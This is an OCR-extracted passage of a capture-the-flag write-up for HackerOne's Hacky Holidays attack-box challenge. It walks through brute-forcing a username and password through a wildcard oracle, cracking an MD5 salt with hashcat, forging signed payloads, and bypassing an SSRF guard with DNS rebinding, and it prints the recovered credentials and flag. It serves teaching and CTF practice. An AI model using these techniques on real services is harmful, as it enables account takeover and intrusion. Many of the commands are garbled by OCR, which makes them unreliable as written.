root@instance-20190910-0255: ~# cat Seclists/Discovery/Web_Content/common.txt | xargs -nl -P18 ./challl.sh

ping: Invalid content type detected
user: Invalid content type detected

It looks like there are user and ping endpoints under api, let’s see if any of them
parameter associated, as stated on documentation when invalid POST/GET variable send
application throws 400 error code. Since our script is very versatile, we can use following

syntax:

./script.sh <endpoint>?param=1

root@instance-20190910-0255:~# ./challl.sh ping?test=1
ping?test=1: Invalid content type detected

root@instance-20190910-0255:~# ./challl.sh user?test=1
user?test=1: Expected HTTP status 200, Received: 400

It appears that there is no parameter associated with ping endpoint but user, we can

use following syntax to catch valid parameters:

cat [PATH]burp-parameter-names.txt | awk {'print "user?"$1"=1""} | xargs -n1 -P10 ./script.sh |

grep -v "Received: 400"
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root@instance-20190910-0255:~# cat SecLists/Discovery/Web_Content/burp-parameter-names.txt | awk {'print "user?"$1"=1"'} | xargs -nl -P10 ./challl.sh | grep -v "Received: 400"

user?password=1: Expected HTTP status 200, Received: 204
user?username=1: Expected HTTP status 200, Received: 204

So, we were able to find two hidden parameters for user endpoint which are
username and password. They responded with 204 code which means no data returned,
although when no query string parameter send with http request api returned data.

It means there must be a way to look for matching data on api let’s try to send some
wildcard as value, we will try * and % to see if api returns invalid content type detected
error.

root@instance-20190910-0255:~# ./challl.sh user?username=*
user?username=*: Expected HTTP status 200, Received: 204

root@instance-20190910-0255:~# ./challl.sh user?username=%25
user?username=%25: Invalid content type detected

API| responded with 204 status code for * but for %25 which is url encoded value for
% it responded with invalid content type detected. That means we may be able to fetch
data from api with it.

We will be using lower case alphanumeric characters (a-z0-9) for querying data from
API with following syntax for our script.

cat alphanum.txt | awk {'print "user?username="51"%25"'"} | xargs -n1 -P10 ./script.sh | grep -v
"Received: 204"

root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username="$1"%25"'} | xargs —nl -P1@ ./challl.sh | grep -v "Received: 204"

user?username=g%25: Invalid content type detected

It looks like there is a username starts with g then we will continue by adding each
string find out to our syntax.

ntent type detected

190910-0255:~# cat alphanum.txt | awk {'print "user?username=g"$1"%25"'} | xargs -nl -P1@ ./challl.sh | grep -v "Received: 204"
user?username=gr%25: Invalid content type detected
root@instance- 0910-0255:~# cat alphanum.txt | awk {'print "user?username "%25"'} | xargs —nl -P10 ./challl.sh | grep -v "Received: 204"
user?username=gri%25: Invalid content type detected
root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=gri"$1"%25"'} | xargs —nl -P10 ./challl.sh | grep —v "Received: 204"
user?username=grin%25: Invalid content type detected
root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grin"$1"%25"'} | xargs -nl -P10 ./challl.sh | grep -v "Received: 264"
user?username=grinc%25: Invalid content type detected
root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grinc"$1"%25"'} | xargs -nl -P1@ ./challl.sh | grep -v "Received: 204"
user?username=grin Invalid content type detected
root@instance-2019 :~# cat alphanum.txt | awk {'print "userZusername=grinch"$1"%25"'} | xargs -nl -P1@ ./challl.sh | grep -v "Received: 204"
user?username=grinchal Invalid content type detected
root@instance—2019091f ~# cat alphanum.txt | awk {'print "user?username=grincha"$1"%25"'} | xargs —nl -P1@ ./challl.sh | grep -v "Received: 284"
user?username=grinchad¥ nvalid content type detected
root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grinchad"$1"%25"'} | xargs —nl -P10 ./challl.sh | grep -v "Received: 204"
user?username=grinchadm%25: Invalid content type detected
root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grinchadm"$1"%25"'} | xargs -nl -P1@ ./challl.sh | grep -v "Received: 204"
user?username=grinchadmi% Invalid content type detected
root@instance-20190910-02! cat alphanum.txt | awk {'print "user?username=grinchadmi"$1"%25"'} | xargs -n1 -P10 ./challl.sh | grep -v "Received: 204"
user?username=grinchadm Invalid content type detected
root@instance-201909160-0255:~# cat alphanum.txt | awk {'print "user?username=grinchadmin"$1"%25"'} | xargs -nl -P1@ ./challl.sh | grep -v "Received: 204"
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We find out that username is grinchadmin and now we must verify if we are able to
query password as well with following syntax:

./script.sh user?username=grinchadmin%26password=%25

root@instance-20190910-0255:~# ./challl.sh user?username=grinchadmin%26password=%25
user?username=grinchadmin%26password=%25: Invalid content type detected

root@instance-20190910-0255:~# ./challl.sh user?username=grinchadminf%26password=1
user?username=grinchadmin%26password=1: Expected HTTP status 200, Received: 204

It looks like we are also able to query password as well when we send % like
username enumerating api returned with invalid content type detected meanwhile when
we directly used 1 as value application returned 204 status code which means no data
returned.

Again, with using our script with following syntax we will try to find out password for
user grinchadmin:

cat alphanum.txt | awk {'print "user?username=grinchadmin%26password="51"%25""} | xargs -
nl-P10 ./script.sh | grep -v "Received: 204"

root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grinchadmin%26password="$1"%25"'} | xargs -nl -P10 ./challl.sh | grep -v "Received: 204"
user?username=grinchadmin%26password-s%25: Invalid content type detected

root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grinchadmin%26password=s"$1"%25"'} | xargs —nl —P10 ./challl.sh | grep -v "Received: 204"
user?username=grinchadming%26password=s4%25: Tnvalid content type detected

root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grinchadmin%26password=s4"$1"%25"'} | xargs -nl P10 ./challl.sh | grep -v "Received: 204"
user?username=grinchadmin%26password=s4n%. Invalid content type detected

root@instance-20190910-0255:~# cat alphan xt | awk {'print "user?username=grinchadmin%26password=s4n"$1"%25"'} | xargs —nl P10 ./challl.sh | grep -v "Received: 204"
user?username=grinchadmin%26password=s4nt%25: Tnvalid content type detected

root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grinchadmin%26password=s4nt"$1"%25"'} | xargs —nl -P1@ ./challl.sh | grep -v "Received: 204"
user?username=grinchadmin%26password=s4nt4%25: Invalid content type detected

root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grinchadmin%26password=s4nt4"$1"%25"'} | xargs -nl -P10 ./challl.sh | grep -v "Received: 204"
user?username=grinchadmin%26password=s4nt4s%25: Invalid content type detected

root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grinchadmin%26password=sdnt4s"$1"%25"'} | xargs -nl -P10 ./challl.sh | grep -v "Received: 204"
user?username=grinchadmin%26password=s4nt4su%25: Invalid content type detected

root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grinchadmin%26password=s4nt4su"$1"%25"'} | xargs —nl P18 ./challl.sh | grep -v "Received: 204"
user?username=grinchadmin%26password=s4nt4suc%25: Invalid content type detected

root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grinchadmin%26password=s4nt4suc"$1"%25"'} | xargs —nl —P10 ./challl.sh | grep —v "Received: 204"
user?username=grinchadmin%26password=sdntdsuck®25: Tnvalid content type detected

root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grinchadmin%26password=s4nt4suck"$1"%25"'} | xargs -nl -P10 ./challl.sh | grep -v "Received: 204"
user?username=grinchadmin%26password=s4nt4sucks%25: Invalid content type detected

root@instance-20190910-0255:~# cat alphanum.txt | awk {'print "user?username=grinchadmin%26password=s4nt4sucks"$1"%25"'} | xargs -nl -P10 ./challl.sh | grep -v "Received: 204"
root@instance-20190910-0255: ~#

We were able to find password of the grinchadmin user as well which is s4nt4sucks.
Now let’s move to /attack-box endpoint and try this credential.
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) https//hackyholidays.h1ctf.com/attack-box > s ® @ @

ETWORKS

Grinch Network Attack Server

flag{07a03135-9778-4dee-a83c-7ec330728e72}

We've identified Santa's key servers and loaded them into the attack server ready
for you to take down

Target Servers
Target Action

203011333 Attack

203.0.113.53

2030113213 Attack

We were successfully able to login to the attack box which looks like another
application of the system.

We combined following vulnerabilities to gain access to the admin panel of the

application:

e Double SQL Injection (SQL inception) vulnerability which leads attacker to
generate valid authentication tokens for any path.

e Server-Side Request Forgery to bypass IP address control and access internal
api endpoints.

e Account enumeration vulnerability on API to gain user credentials

In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality
on the server to read or update internal resources. The attacker can supply or modify a URL
which the code running on the server will read or submit data to, and by carefully selecting
the URLs, the attacker may be able to read server configuration such as AWS metadata,
connect to internal services like http enabled databases or perform post requests towards
internal services which are not intended to be exposed.

User enumeration is when a malicious actor can use brute-force techniques to either
guess or confirm valid users in a system. User enumeration is often a web application
vulnerability, though it can also be found in any system that requires user authentication
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Attack Box

When we visit Attack Box app on our browser, it had following contents:

[ https//hackyholidays.hictf.com/attack-box B ® @ @

Grinch Network Attack Server
flag{07a03135-9778-4dee-a83c-7ec330728e72}
We've identified Santa's KE‘," servers and loaded them into the attack server reac‘.\,-

for you to take down

Target Servers
Target Action

203011333

203.011353

S B
il

2030113213

It looks like application is having only one visible function which is used with pressing
Attack buttons on available options.

Let’s see what happens when user attacks one of the targets.

< C o 3 https://hackyholidays.h1ctf.com/attack-box/launch/5831afc8f01b84ad7a8e2473312ab79a

Spinning up botnet
Launching attack against:

64 bytes from 203.0.11
64 bytes from 203.0.11 118 time=16.8 ms.
Host still up, maybe try again?

Setting Target Information

Getting Host Information for: 203.0.113.33
Spinning up botnet
Launching attack against: 203.0.113.33 / 203.0.113.33

33

1e=15.8 ms.
time=16.8 ms.
Host still up, maybe try again?

When user presses button client sends following request to the server:
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Request

RaW Params Headers Hex Hackvertor

precty [ o

1 GET /attack-box/Taunch?payload=

2yI0YXINZXQi0] IyMDMUMCAXMTMUMZM 1 LC JoYXNoT Joi NWyyOTQWZDY LY 2EOMTQuY 2Mx0GQwoD c4YmMz0TgSNTU  fo==
Host: hackyholidays.hlctf.com

Connection: close

Upgrade-Insecure-Requests:

User-Agent: Mozwﬂa?S 0 (\vwdows NT 10.0; winG4; x64) Applewebkit/537.36 (kHTML, Tike Gecko) Chrome/89.0.4346.0
Eafar‘w?Si? 36 Edg/89.0.731.0

Actions v

>

HTTP/1.1

G

o

textéhtm] aprhcanon/thhxm ,application/xnl;q=0.9,image/webp,image/apng, */*;q=0.8, application/signed-exchang
osval
7 Séc-Fefch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: 71
10 Sec-Fetch-Dest: document
11 Referer: https://ha(kyhohdays hictf.com/attack-box
12 Accept-Encoding: gzip, dfls
13 Accopt-Languang: v o-US:qo0.9,en:q=0.8, en-GB;q=0.7, frq=0.6,pt;q=0.5
14 Cookae: atEackboxod0o0s08L7aF 107500130 m52 a1dde4087
15

we

16

It appears to be that payload parameter is having
what’s stored in it by decoding it.

Response

RaW Headers Hex Hackvertor

[0 Rew FRender  \n Actions v

1 HTTP/1.1 302 For

2 server: ngmx/]. 15 0 (ubuntuw)

3 Date: sat, 26 Dec 2020 00:43:09 GMT

4 Content-Type: _text/html; charset=UTF-8

5 Connection: close

6 Location: /atta(k box/1aunch/5831afc8f01b8dad7a8e2473312ab79a
7 Content-Length

8
9

base64 encoded value, let’s check

{"target":"203.0.113.33", "hash":"512040d65ca4140cC18d0878bc308955™

When we decode it, there is target and hash parameters in the json data. Let’s try to
change value for target and see how application responds.

Request Response

Raw params Headers Hex Hackvertor Raw Headers Hex Hackvertor

prety [ 0 Actons v B Rav Render 0 Actons v
Leer Jattack box/mncmpmoad: A | 1HTTP/1.1 200 O

<@base64_0>{"t: 0.1", "hash":"5f2940d65ca4140cc18d0878bc398955" }<@/base64_0> HTTP/1.1 2 Server: Inx/l 18.0 (Ubuntu)
2 Host: hackyhohdays hl(tf (om Sat, 26 DA( 2020_00:47:50 GMT

3 Connection: clos 4 Content-Type
3 Upgrads-Tnsecura-Request: 5 Connection: close
e eSS4 Biindons T 10,05 winsa; x60) ApplewebKit/537.36 (KHTML, Tike Gecko) Chrome/89.0.4346.0 6 Content-Length: 23
Safam 537.36 Edg/89.0.731.0
Acc

8 Invalid protection Hash
m:/h woapphcamn/xhcmmmw ,application/xm1;q=0.9, image/webp, image/apng, “/*;q=0.8, application/signed-exchang

7 SRS e same-origin
§ Sec-Fetch-toder navigate
9 Sec-Fetch-Us

document.
/hackyhoh;days hlctf. com/attack-box

13 Accept-Lar

8;0=0.7,fr39=0.6,pt;q=0.5
14 Cookie: attachbox=d0ads

Jati078asasacesiateseer

it

t/htm1;

charset=UTF-8

Application returned invalid protection hash as error, let’s try if there is some input

validation error is in present for target as well.

Request Response

Raw  params Headers Hex Hackvertor Raw  Headers Hex Hackvertor

pretty) \n | Actions v Raw Render \n  Actions v
bGer [ateack-box/launch7payloads A | 1wr7P/L.1 200 0 S
<Bbase6d_0>('t ,"hash": "5£2940d65ca4140cc18d0878bc 398955 "} <6 /base64_0> HTTP/1.1 3 Sarvar nginagi. 18,0 (Ubuntud

2 Host: hackyhol1days hictf com

3 Connection: close

4 Upgrade-Insecure-Requ

S S gent w18t (wwdo\\s NT 10.0; Win64; x64) AppleWebkit/S37.36 (KHTML, Tike Gecko) Chrome/89.0.4346.0
Safari/537.36 Edg/89.0.731.

4 Content-Type: tex

onnection: close
6 Content-Length: 41

3 Date: Sat, 26 Dec 2020 00:48:51 GMT
/htm1; charset=UTF-8

6 Accept: 8 Invalid characters detected in the target

ageication/shtm ol app1cation/ i ;=0.9, inage/webp. nage/ apng. */;q=0.8, appication/ s gned-exchang

~Site: same-origin
sttt

9 Sec-Fetch-User: ?1

10 Sec-Fetch-Dest: documen

11 Referer: https: //ha(kyhohdays hlctf. com/attack-box
12 Accept-Encoding: gzip

13 Accept-Language: tr Jen-i us
14 Cookie:

15

9,en;9=0.8,en-GB1q=0.7,fr;q=0.6,pt;q=0.5
97520199354514de0887 B i

16

Application responded with Invalid characters detected in the target which means
there are allowed characters only, let’s try alphanumeric characters, we already know that .

and numbers are accepted characters though.
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Raw Pparams Headers Hex Hackvertor Raw  Headers Hex Hackvertor

vy [0 W Actions v Raw Render \n  Actions v

1 GET /attack-| boxﬂaunch"’pay'\oad | 1HTTR/1.1 200 oK

<@basebd. 0)[ targs '0123456789abcdefghi jkImnoparstuvwxyzl', "hash" : "5f2940d65ca4140cc18d0878bc398955" } <@/base64_ 2 Server: nginx/1.18.0_ (Ubuntu)

0> HTTP/1 3 Date: Sat, 26 Dec 3020_00:51:32 GNT
2 Host: hackyho'hdays hlctf.com 4 Content-Type: text/html; charset=UTF-8
3 Connection: close 5 Connection: close
4 Upgrade-Tnsecur e-Requests : 6 Content-Length: 23
5 User-Agent: Mozilla/s.0 (\hndo\s NT 10.0; Win64; x64) Applelebkit/537.36 (KHTML, like Gecko) Chrome/89.0.4346.0
_ Safari/537.36 Edg/! 89 0.731.0 8 Invalid Protection Hash
6 Accepe

t, htm'\ app'hcamon xhtml+xm1, application/xm1;q=0.9,image/webp, image/apng, */*;g=0.8,application/signed-exchang

7 She Fet?h Site: same-origin

& Sec-Fetch-Moda: nav rigate

9 Sec-Fetch-User:

10 Sec-Fetch-Dest: dotume

11 Referer: https:/, hackyhohdays hlctf.com/attack-box

12 Accept-l Encodwg gzwp deF

LsAcceptLanuE ,en 'qUB en;q=0.8 GBqO7Frq06ptq05
17 Cootia: aacbonmdanz0sLIat 307 cabioacsolddes

L‘j

Alphanumeric string is also accepted, that means we can basically use whatever
characters are accepted in domains as well which enables use of — (dash) character as well.

Since we know there is a protection hash is in place, let’s compare md5 value for
203.0.113.33 to see if it’'s matching with the value we find out.

root@instance-20190910-0255:~# echo —n "203.0.113.33" | mdbsum

d940525615b334422221e52371f20bd7 -

So, application must be having some kind of salt is in present. We can use hashcat [7]
(https://github.com/hashcat/hashcat/) for trying to find it by bruteforce. We will be using
rockyou.txt from SeclLists for it.

Let’s store our hash from the decoded payload in some text file like following:

5f2940d65ca4140cc18d0878bc398955:203.0.113.33

Now we will use following syntax with hashcat for bruteforcing the salt.

hashcat -m 10 [PATH]hash.txt [PATH]rockyou.txt
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J:\hashcat-6.1.1>hashcat.exe -m 16 hash.txt .
ashcat (v6.1.1) starting...

t and

password length supported by kerne
password length supported by kerne
salt length supported by kernel: &
salt length supported by kernel: 256

1 digests; 1 unique digests, 1 unique salts
16 bits, 65536 en ox000effff mask, 262144 bytes, 5/13 rotates

fppplicable optimizers applied:
Zero-Byte
Early-Skip
Not-Iterated
Single-Hash
Single-salt
LEURLER

atchdog: Temperature abort trigger set to 96c
ost memory required for this attack: 598 MB

Dictionary cache hit:
Filename..: ../rockyou.txt
Passwords.: 14344385
Bytes. .1 139921507
Keyspace..: 14304385

5f29ued65callleccl8deg78bc398955:203.0.113.33 :mrgrinchi63
hashcat

Cracked
md5($pass.$salt)

It looks like there was a salt involved with hashing which is mrgrinch463. Now we will
try to create our payload.

Raw Pparams Headers Hex Hackvertor Raw Headers Hex Hackverto

EDB v Aconsv I Raw Render \n Actions v
1 GET /attack-box/launch?payload=
<@ 64_0>{"target":"127.0.0.1'

2

302 Found

ginx/1.18.0_(Ubuntu)

, 26 Dec 2020 01:04:29 GMT
ext/htn; charset=UTF-8

,"hash" ;" <@nd5_2>mrgrinch463127.0.0.1<@/md5_2>" }<@/base64_0> HTTP/1.1

{ g
: Folidays .hlctf.com
Connection! close
Upgrade-Insecurs-Requests: 1
User—Agent: Mozi11a/5.0 (indows NT 10.0; Win64; x64) Applewebkit/S37.36 (KHTML, Tike Gecko) Chrome/89.0.4346.0
3¢ / 1.0

box/launch/ fa7cfbdecd19e4fb8c361d8114e 9268

7 Content-Lengt!

=0.8, application/signed-exchang ]

same-origin
Sec-Fatch-Mods: navigate
) Sec-Fetch-User: ?1

10 Sec-Fetch-Dest: document

11 Referer: hittps://hackyhelidays hice. con/attack-box
2 i i ate

13 Accept-Lang

ug T, en-us 7,fr;q=0.6,pt;g=0.5
14 Cookie: attackbox=d39ds08

It looks like we were able to generate valid payload for 127.0.0.1 let’s visit location
we redirected on our browser.

$ Jddos —load fa7cbd6c419e4b8c361d8114ef9e68. target
Seilting Target Information
Getting Host Information for: 127.0.0.1
Local target detected, aborting attack

Selting Target Information
Getling Host Information for: 127.0.0.1
Local target detected, aborting attack
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It appears that application is having some validation for preventing launching attacks
on local network. We can use rnbndr [8] (https://lock.cmpxchg8b.com/rebinder.html) dns
redirect service for checking if we can bypass applications protection with DNS Rebinding.

&« G @ 3 https://lock.cmpxchg8b.com/rebinder.html
This page will help to generate a hostname for use with testing for dns rebinding vulnerabilities in software
To use this page, enter two ip addresses vou would like to switch between. The hostname generated will resolve randomly to one of the addresses specified with a very low ttl.

All source code available here.

A[127.001 |B[1.1.11 |

7f000001.01010101.rbndrus

We will be using 7f000001.01010101.rbndr.us as target for the payload and let’s
launch attack with it.

0101.rbndr .us", "hash": "<GndS_2>mr grinch:

£2582d6f105ccf5525659e7ceS84
S NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4346.0

xml, appTication/xm] ;g=0.9, image/webp, image/apng, */*;=0.8, appTication/signed-exchang

1=0.6,pt;9=0.5

Our payload was successful, let’s visit launched attacks page.

< X @ 5 https://hackyholidays.h1ctf.com/attack-box/launch/76b8f2582d6f105ccf55

$ ./ddos —load 76b9f2582d61105ccf5525659e7ce584 target
Setting Target Information
Getlting Host Information for: 7/000001.01010101.rondr.us
Host resolves 10 1.1.1.1
Spinning up botnet

Launching attack against: 7f000001.01010101.rbndr.us / 127.0.0.1
No Response from attack server, retrying...
No Response from attack server, retrying...
No Response from attack server, retrying...

It looks like this time our DNS rebinding was successful and application launched
attack on 127.0.0.1 after spinning, as we can see initial resolve for host was 1.1.1.1.

DNS rebinding is a method of manipulating resolution of domain names that is
commonly used as a form of computer attack. In this attack, a malicious web page causes
visitor to run a client-side script that attacks machines elsewhere on the network. In theory,
the same-origin policy prevents this from happening client-side scripts are only allowed to
access content on the same host that served the script. Comparing domain names is an
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essential part of enforcing this policy, so DNS rebinding circumvents this protection by
abusing the Domain Name System (DNS).

(51 https://hackyholidays.h1ctf.com/attack-box/challenge-completed-a3c589ba2709 s ® @ @

Congrats!

404

ETWORKS
No Longer Exists!

Well donel You've taken down Grinch Networks and saved the holidays!
1b48a0}
Thanks for playing, we'd appreciate it if you could leave us some feedback here

We used following vulnerabilities to succeed on malicious actor to attack their own
server:

e Insufficient Cryptography, which allowed attackers to bruteforce hashed
values and find out salt used for hashing.

e DNS rebinding, for manipulating traffic of the application and bypass built-in
protection.
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Final thoughts

This CTF was very well done, it is difficulty was increasing each day. Very early stages
were beginner friendly meanwhile challenges like Evil Quiz and Grinch Recon was very
interesting. | wish there were some challenges involved with Cross Site Scripting or Remote

Code Execution as well but bringing different scenarios like Second-order SQL Injection was
very nice to complete.

| believe many people including myself learnt some new tricks as well. Once again, |
would like to thank our CTF master Adam Langley (@adamtlangley) and HackerOne for such
nice event.

| hope my write up would be helpful for starters as well, my main idea was making

some book like experience which explain each application/challenge and meanwhile keeping
it beginner friendly.
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References

On this section you can find references for tools used on this write up.
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Seclists: https://github.com/danielmiessler/SecLists
Fuzz Faster U Fool (ffuf): https://github.com/ffuf/ffuf
Burp Suite: https://www.portswigger.net

ferackzip: https://github.com/hyc/fcrackzip
CrackStation: https://www.crackstation.net

sqlmap: https://github.com/sqlmapproject/sqlmap
hashcat: https://github.com/hashcat/hashcat/
rnbndr: https://lock.cmpxchg8b.com/rebinder.html
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